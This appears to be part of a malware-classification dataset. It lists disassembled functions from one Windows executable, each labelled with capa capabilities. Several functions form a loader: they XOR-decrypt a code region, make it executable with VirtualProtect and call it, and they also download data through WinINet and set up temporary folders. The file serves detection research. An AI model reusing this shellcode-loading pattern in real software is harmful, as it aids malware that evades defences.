joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401113
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x18
push 0x40fd30
call fcn.0040b4a0
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
call fcn.00401069
test eax, eax
je 0x401186
lea edi, [eax + 0x4120c0]
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x12200
push 0x4120c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401186
call edi
test eax, eax
je 0x40116f
lea ecx, [ebp - 0x28]
push ecx
push 6
push ebx
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 0x12200
push 0x4120c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x28]
jmp 0x4011a2
call fcn.0040b4e8
ret

Function at 0x4011a8
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push 4
pop edx
push 3
pop eax
push 0xa
pop ecx
xor esi, esi
mov dword [ebp - 0x2c], 5
push esi
push esi
push esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0xc], 0x2d
mov dword [ebp - 8], 0x31
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
je 0x40120a
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
mov edx, esi
mov al, byte [ebp + ecx*4 - 0x2c]
xor byte [edx + 0x4120c0], al
inc ecx
xor eax, eax
cmp ecx, 0xb
cmove ecx, eax
inc edx
cmp edx, 0x12200
jb 0x40120e
call fcn.00401113
push esi
test eax, eax
jne 0x401204
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x404bca
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x411050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00402e5c
mov dword [ebp - 0x14], eax
cmp dword [0x425010], esi
jne 0x404cbd
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x404c4a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x404d9d
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x404d9d
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x404d9d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x425010], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x425014], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x425018], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x425020], eax
test eax, eax
je 0x404cba
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42501c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404ce2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x404cd5
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x404cf7
push 4
pop eax
jmp 0x404d9f
cmp dword [ebp - 0x14], esi
je 0x404cf7
push dword [0x425010]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x404cdc
mov eax, dword [0x42501c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x404d55
cmp dword [0x425020], edi
je 0x404d55
push eax
call ebx
push dword [0x425020]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x404d55
test eax, eax
je 0x404d55
call ecx
test eax, eax
je 0x404d4a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x404d4a
test byte [ebp - 8], 1
jne 0x404d55
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x404d85
mov eax, dword [0x425014]
cmp eax, edi
je 0x404d82
push eax
call ebx
test eax, eax
je 0x404d82
call eax
mov esi, eax
test esi, esi
je 0x404d82
mov eax, dword [0x425018]
cmp eax, edi
je 0x404d82
push eax
call ebx
test eax, eax
je 0x404d82
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x425010]
call ebx
test eax, eax
je 0x404d9d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x404d9f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004013c0
mov esp, ebp
pop ebp
ret
Function at 0x402f30
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428497
mov eax, dword fs:[0]
push eax
mov eax, 0x139c
call fcn.0040c570
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x13a4], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x13a8], esi
mov dword [ebp - 0x13a0], 0
call fcn.0040b02c
mov edx, eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x1398], edx
mov eax, 1
nop dword [eax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [ebp + eax*4 - 0x1398], edx
inc eax
cmp eax, 0x270
jb 0x402fa0
xorps xmm0, xmm0
mov dword [ebp - 0x139c], 0x270
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
mov edi, 6
mov dword [ebp - 0x13a0], 1
lea ecx, [ebp - 0x139c]
call fcn.0040a260
mov ecx, 0x24
mul ecx
cmp eax, ecx
jae 0x403038
cmp eax, 4
jae 0x403038
mov esi, ecx
lea ecx, [ebp - 0x139c]
call fcn.0040a260
mul esi
cmp eax, 4
jb 0x403020
mov esi, dword [ebp - 0x13a4]
mov ecx, dword [esi + 0x10]
lea eax, [edx - 0x80000000]
mov edx, dword [esi + 0x14]
xor eax, 0x80000000
mov al, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ebp - 0x14], al
cmp ecx, edx
jae 0x403072
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x403065
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x14]
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x403084
push dword [ebp - 0x14]
mov ecx, esi
push dword [ebp - 0x13a8]
push 1
call fcn.00408f90
sub edi, 1
jne 0x403003
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b61d
mov esp, ebp
pop ebp
ret
Function at 0x4030b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428518
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x134], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x154], esi
push 0x104
mov dword [ebp - 0x150], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x12c]
call fcn.00402f30
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x114]
xorps xmm0, xmm0
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x14c], xmm0
mov dword [ebp - 0x138], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403146
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x14c]
call fcn.00402e50
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x14c]
mov ecx, esi
call fcn.00407f80
add esp, 4
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x150], 1
cmp ecx, 0xf
jbe 0x4031c5
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4031bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40329b
push ecx
push edx
call fcn.0040b8b6
add esp, 8
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x14c]
push dword [ebp - 0x134]
mov edx, esi
call fcn.00409da0
add esp, 4
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 3
call fcn.00402de0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x138]
mov byte [ebp - 0x12d], al
cmp ecx, 7
jbe 0x40323d
mov edx, dword [ebp - 0x14c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40322d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032a0
push ecx
push edx
call fcn.0040b8b6
mov al, byte [ebp - 0x12d]
add esp, 8
test al, al
jne 0x403249
cmp byte [0x435efc], al
jne 0x4032a5
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x40327f
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403275
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032c6
push ecx
push edx
call fcn.0040b8b6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b61d
mov esp, ebp
pop ebp
ret
call fcn.00414147
call fcn.00414147
push str.Failed_to_create_a_unique_temporary_folder.
lea ecx, [ebp - 0x140]
call fcn.00401390
push 0x43349c
lea eax, [ebp - 0x140]
push eax
call fcn.0040cbb0
call fcn.00414147
int3
Function at 0x4032d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428577
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.0040c570
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x1014], edi
mov dword [ebp - 0x1028], edi
xorps xmm0, xmm0
mov dword [ebp - 0x1018], 0
movq qword [edi], xmm0
mov dword [edi + 8], 0
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [ebp - 4], 0
cmp byte [0x435efc], 0
mov dword [ebp - 0x1018], 1
je 0x403382
mov edx, str.Waiting_for
mov ecx, 0x435168
call fcn.004081a0
push ecx
mov ecx, eax
call fcn.004055b0
mov edx, str._seconds_before_starting_the_download...
mov ecx, eax
call fcn.004081a0
push eax
call fcn.00408450
add esp, 4
push 0
push 0x2710
call dword [sym.imp.KERNEL32.dll_SleepEx]
push 0
push 0
push 0
push 1
push str.MyUserAgent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x403475
cmp dword [0x435f14], 0xf
mov eax, 0x435f00
push 0
cmova eax, dword [0x435f00]
push 0x84000000
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4033e9
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.Failed_to_open_URL.
jmp 0x40347a
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x1014], 0
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40344b
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x40344b
push eax
lea eax, [ebp - 0x1010]
mov ecx, edi
push eax
push dword [edi + 4]
call fcn.00409de0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x403411
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b61d
mov esp, ebp
pop ebp
ret
push str.Failed_to_initialize_Internet_handle.
lea ecx, [ebp - 0x1024]
call fcn.00401390
push 0x43349c
lea eax, [ebp - 0x1024]
push eax
call fcn.0040cbb0
int3
Function at 0x4047f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x404822
jl 0x404815
test ecx, ecx
jne 0x404822
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4048ff
mov dword [esp + 0x10], eax
lea eax, [ebx + 0x2c]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
je 0x404852
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x404854
xor eax, eax
cdq
mov dword [esp + 0x1c], edx
mov esi, eax
test edx, edx
jl 0x4048a8
jg 0x404865
test esi, esi
je 0x4048a8
mov eax, dword [esp + 0x10]
cmp eax, edx
jg 0x404879
jl 0x404873
cmp ecx, esi
jae 0x404879
mov esi, ecx
mov dword [esp + 0x1c], eax
push esi
push dword [esp + 0x1c]
push edi
call fcn.0040cc30
mov eax, dword [esp + 0x20]
add esp, 0xc
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
sub ecx, esi
mov eax, dword [eax]
sbb edx, dword [esp + 0x1c]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov eax, dword [esp + 0x14]
jmp 0x4048cc
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0x10]
cmp eax, 0xffffffff
je 0x4048e8
mov ecx, dword [esp + 0xc]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
lea eax, [ebx + 0x2c]
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
test edx, edx
jg 0x404837
jl 0x4048e8
test ecx, ecx
jne 0x404837
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0xc]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x40493d
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x40493d
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.0040cc30
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [esp + 0x18], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x4049a7
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x404963
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x404992
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.00413a7a
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x4049a7
cmp edi, eax
ja 0x404970
test edi, edi
je 0x4049a7
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.00413a7a
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407d70
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428a50
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x434080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.0040b630
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0040abe3
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.00407890
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40a260
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x40a2bd
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x40a280
mov eax, dword [esi]
jmp 0x40a39b
cmp eax, 0x4e0
jb 0x40a39b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x40a2d6
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x40a321
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a40a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x40a431
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x40a434
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0040a3e6
pop esi
leave
ret 8

Function at 0x40c313
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40c352
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c352
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c352
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40c352
cmp dword [ecx + 0x74], 0xe
jbe 0x40c352
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41b2b3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42d00c
push 0x42d004
push str.FlsAlloc
push 0x1f
call fcn.0041b17b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b2e7
push dword [ebp + 8]
mov ecx, esi
call dword [0x42917c]
call esi
jmp 0x41b2ed
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41b331
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42d01c
push 0x42d014
push str.FlsGetValue
push 0x21
call fcn.0041b17b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b368
push dword [ebp + 8]
mov ecx, esi
call dword [0x42917c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41b370
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42d024
push 0x42d01c
push str.FlsSetValue
push 0x22
call fcn.0041b17b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b3aa
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42917c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41bc23
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040c570
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004181ff
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41bc65
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41bdc1
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00427d20
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x435ad0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0041d411
mov ecx, dword [esi*4 + 0x435ad0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41bdba
cmp eax, dword [ecx + edi + 0x24]
jne 0x41bdba
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41bdba
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041d411
add esp, 0x14
test edx, edx
jl 0x41bdba
jg 0x41bd30
test eax, eax
jb 0x41bdba
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41bdba
jl 0x41bd4a
cmp dword [ebp - 0x1008], eax
ja 0x41bdba
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41bd68
test ebx, ebx
je 0x41bda1
cmp ecx, edi
jae 0x41bda1
mov al, byte [ecx]
cmp al, 0xd
jne 0x41bd82
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41bd8e
cmp byte [ecx + 1], 0xa
jne 0x41bd8e
inc ecx
jmp 0x41bd8e
movzx eax, al
movsx eax, byte [eax + 0x434348]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41bd68
cmp edx, ebx
jne 0x41bd68
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41bdbf
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040b61d
leave
ret